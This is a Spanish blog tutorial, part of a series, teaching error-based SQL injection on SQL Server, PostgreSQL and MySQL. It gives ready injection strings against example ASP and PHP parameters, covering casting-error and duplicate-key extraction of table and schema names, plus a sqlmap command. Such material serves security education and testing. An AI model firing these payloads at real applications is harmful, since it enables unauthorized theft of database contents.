domingo, 20 de noviembre de 2011

SQL Injection Web Attacks [Parte IX]

Si has seguido la serie de posts sobre inyecciones SQL, quizá ya has ganado algo de experiencia en esto. Puede que hayas visto algún caso en que, luego de deducir el número de campos seleccionados en una consulta, al inyecctar el UNION SELECT con esa misma cantidad de campos, aún bota error por diferente número de columnas. La explicación a ello es que la variable vulnerable está siendo empleada en dos o más consultas diferentes y alguna de ellas produce el error por lo que es imposible explotar esa inyección usando UNION SELECT.

En el caso anterior podrías intentar extraer la información de la base de datos mediante métodos deductivos: Response Based y Time Based. Sin embargo estos métodos tienen el inconveniente de requerir una gran cantidad de consultas y tiempo.

Hoy veremos otra técnica de extracción de datos que nos puede servir para casos como el descrito anteriormente y sin perder mucho tiempo.

Error Based SQL Injection

Este tipo de inyeccion consiste en extraer la información mediante mensajes de error de la base de datos. Para conseguirlo se debe inyectar una consulta intencionalmente errada que manipule de alguna manera los datos que queremos extraer para que estos aparezcan en el detalle del error. Evidentemente esto solo va a funcionar cuando la aplicación no maneja las excepciones de la base de datos y muestra los errores en el navegador.



Errores de Casting

Una forma de conseguir esto es mediante errores de casting. Es decir, forzar un cambio de tipo erroneo con los datos que queremos extraer. Por ejemplo, en una base de datos SQL Server:

default.asp?id=' union select min(username),1,1,1,1 from login--

Produciría un error como este:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server] Syntax error converting the nvarchar value 'admin' to a column of data type int.

/default.asp, line 27

Como se puede ver en el mensaje, el error se produce al no poder convertir la cadena "admin" a tipo entero. De esta forma ya hemos conseguido averiguar el valor del campo username.

Otra manera de conseguir lo mismo en SQL Server es mediante la función convert que sirve para hacer casting entre tipos de dato. Por ejemplo:

select convert(int, @@version);

Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (Intel X86) Jul 9 2008 14:43:34 Copyright (c) 1988-2008 Microsoft Corporation Enterprise Edition on Windows NT 6.1 (Build 7600: ) (VM)' to data type int.

La idea para aprovechar esto es hacer un casting a entero de una subconsulta que devuelva la información que queremos extraer. Por ejemplo, para extraer el nombre de las tablas:

default.asp?id=(1)and(1)=(convert(int, (select table_name from (select row_number() over (order by table_name) as rownum, table_name from information_schema.tables) as t where t.rownum=1)))--

default.asp?id=(1)and(1)=(convert(int, (select table_name from (select row_number() over (order by table_name) as rownum, table_name from information_schema.tables) as t where t.rownum=2)))--
...

Nota: En Transact-SQL (el lenguaje de SQL Server) no existe la clausula LIMIT como en MySQL. Para limitar el número de filas se usa la función row_number() tal como se muestra en los ejemplos. Mas información.

En bases de datos PostgreSQL, solo cambia la sintaxis pero la idea es la misma. Veamos:

select cast(version() as numeric);

ERROR: invalid input syntax for type numeric: "PostgreSQL 8.2.13 on i386-portbld-freebsd7.2, compiled by GCC cc (GCC) 4.2.1 20070719 [FreeBSD]"

Y al inyectar:

?id=(1)and(1)=cast((select table_name from information_schema.tables limit 1 offset 0) as numeric)--

?id=(1)and(1)=cast((select table_name from information_schema.tables limit 1 offset 1) as numeric)--
...

Sin embargo, en MySQL, esto no funciona. Si tratamos de hacer un casting de una cadena a entero, MySQL intentará convertir los primeros caracteres hasta donde se pueda y si no se puede con ninguno devolverá 0. Pero no produce ningún error. Veamos:

mysql> select cast('123abc' as signed);
+--------------------------+
| cast('123abc' as signed) |
+--------------------------+
|                      123 |
+--------------------------+
1 row in set, 1 warning (0.00 sec)

mysql> select cast('xxx' as signed);
+-----------------------+
| cast('xxx' as signed) |
+-----------------------+
|                     0 |
+-----------------------+
1 row in set, 1 warning (0.00 sec)

Error Based en MySQL

Existe una forma bastante rebuscada de producir un error que sirva para extraer información en MySQL. Consiste en hacer una consulta que agrupe los resultados según un valor indeterminado que eventualmente podría repetirse y producir un error de clave duplicada. Veamos:

mysql> select count(*),floor(rand()*2)x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

En este caso se agrupa en función de "x" pero x es un alias de la expresión "floor(rand()*2)". Esta expresión devuelve solo 2 valores: 1 ó 0. Y lo hace de forma aleatoria. Observe que el error se produce cuando el valor "1" se repite, es decir, es una clave duplicada.

Nota: Debido a la aleatoriedad este error no se produce siempre. La probabilidad de que suceda aumenta de forma directamente proporcional al número de registros de la tabla sobre la cual se hace la consulta y no sucederá nunca si la tabla tiene un único registro.

Podemos aprovechar este error para extraer información concatenando la expresión aleatoria con la cadena que queremos obtener. Por ejemplo:

mysql> select count(*),concat(version(),floor(rand()*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.1.49-1ubuntu8.10' for key 'group_key'

Luego podemos inyectar esto en el WHERE usando una condición de comparación de filas:

index.php?id=1 and (1,1) > (select count(*), concat(version(), floor(rand()*2)) x from information_schema.tables group by x limit 1)

Nota: (1,1) o row(1,1) sirven para construir una fila de 2 columnas contra la cual comparar la subconsulta. Además la subconsulta debe devolver un único resultado. Para ello usamos "limit 1".

Luego ya podemos empezar a recuperar el esquema de datos así:

index.php?id=1 and (1,1) > (select count(*), concat((select schema_name from information_schema.schemata limit 0,1), floor(rand()*2))x from information_schema.tables group by x limit 1);

ERROR 1062 (23000): Duplicate entry 'information_schema0' for key 'group_key'

index.php?id=1 and (1,1) > (select count(*), concat((select schema_name from information_schema.schemata limit 1,1), floor(rand()*2))x from information_schema.tables group by x limit 1);

ERROR 1062 (23000): Duplicate entry 'web0' for key 'group_key'
...

Automatización

Nuestra herramienta favorita (al menos la mía) sqlmap, soporta extracción de datos por inyecciones error based. Para usar esta técnica solo debemos especificar la  opción "E" en el parámetro technique. Por ejemplo:

$ ./sqlmap.py --url="http://example.com/index.php?id=23" -p "id" --technique="E"


Referencias

[1] Methods of Quick Exploitation of Blind Sql Injection
http://www.ptsecurity.com/download/PT-devteev-FAST-blind-SQL-Injection.pdf

[2] Error Based SQL Injection - a true story
http://www.exploit-db.com/download_pdf/13059

Y hasta aquí llega el capítulo de hoy. Para más información tienes las referencias y todo el internet.

Saludos.

Otros capítulos de la serie:

No hay comentarios:

Publicar un comentario